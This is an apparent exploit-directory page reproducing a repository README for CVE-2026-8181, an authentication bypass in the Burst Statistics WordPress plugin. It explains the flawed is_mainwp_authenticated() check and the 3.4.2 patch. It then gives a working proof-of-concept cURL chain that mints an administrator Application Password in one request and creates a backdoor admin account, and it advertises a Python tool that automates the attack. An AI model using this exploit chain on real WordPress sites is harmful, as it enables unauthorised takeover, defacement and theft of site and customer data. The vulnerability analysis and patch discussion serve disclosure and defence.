Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8181 — The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Authentication Bypass | Kitploit
Tools/GitHubGitHub/yucaerin/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

The Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Authentication Bypass

View Repository
1104 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Authentication Bypass to Admin Account Takeover

Vulnerability Summary

The WordPress plugin Burst Statistics versions 3.4.0 to 3.4.1.1 is vulnerable to an unauthenticated authentication bypass vulnerability that leads to full administrator account takeover. This critical flaw allows an unauthenticated attacker who knows any administrator username to mint a valid WordPress Application Password for that account in a single HTTP request, achieving persistent admin-level access to the entire site.

The vulnerability stems from the is_mainwp_authenticated() function in class-mainwp-proxy.php. This function calls wp_authenticate_application_password() and only checks whether the result is a WP_Error. It does not verify whether the result is actually a successful WP_User object. When WordPress's internal filter application_password_is_api_request returns false — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns null instead of a WP_Error or WP_User. Because null is not a WP_Error, the check passes, and the attacker's chosen admin user is set as the current user via wp_set_current_user().

Once the current user is switched to an administrator, subsequent capability checks pass. The attacker can then reach the /burst/v1/mainwp-auth REST endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent, full admin-level access.

Affected Plugin

FieldValue
Plugin NameBurst Statistics – Privacy-Friendly WordPress Analytics
Plugin Slugburst-statistics
Affected Versions3.4.0 – 3.4.1.1
Patched Version3.4.2
CVE IDCVE-2026-8181
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeAuthentication Bypass (Improper Authentication)
CWECWE-287 — Improper Authentication
ImpactFull Site Takeover — Admin Account Takeover

What Attackers Can Do

CapabilityImpact
Mint Application Password for any adminPersistent Admin Access
Create new admin accounts via REST APIAccount Proliferation
Install plugins / themesRemote Code Execution
Edit posts, pages, and settingsSite Defacement
Export or delete all site dataData Destruction / Exfiltration
Access WooCommerce / customer dataData Breach

Technical Analysis

Plugin Initialization and the Vulnerable Gate

Burst Statistics initializes during WordPress's plugins_loaded hook at priority 9, inside class-burst.php:

// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() is the gatekeeper for all admin functionality. It checks for the X-BurstMainWP header and calls into the vulnerable function:

// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

The Vulnerable Function: is_mainwp_authenticated()

// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Why wp_authenticate_application_password() Returns null

WordPress internal function wp_authenticate_application_password() has a filter:

if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

When called outside the REST API authentication flow, this returns null. The Burst Statistics code only checked is_wp_error($is_valid) — null is not a WP_Error, so the check incorrectly passes.

Execution Path to Admin Takeover

  1. Attacker sends X-BurstMainWP: 1 header with any request
  2. has_admin_access() triggers is_mainwp_authenticated()
  3. wp_authenticate_application_password() returns null (not in API context)
  4. is_wp_error(null) = false → check passes
  5. wp_set_current_user($admin_id) executes
  6. Current user is now the chosen administrator
  7. Attacker POSTs to /burst/v1/mainwp-auth
  8. handle_auth_request() mints a WordPress Application Password
  9. Token returned as base64(username:app_password)
  10. Attacker uses this token for persistent admin REST API access

Patch Analysis (3.4.2)

// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Fixes applied:

  • Force application_password_is_api_request filter to true so actual password validation occurs
  • Check that the result is a WP_User instance (not null)
  • Use hash_equals() to verify username match

Additionally, the check_auth_permission() for the REST endpoint was hardened to require current_user_can('manage_burst_statistics') and explicit nonce verification for cookie-authenticated requests.

Proof of Concept

Manual cURL

# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Python Exploit Tool

The exploit_burst_statistics.py script automates the full attack chain:

Download Tool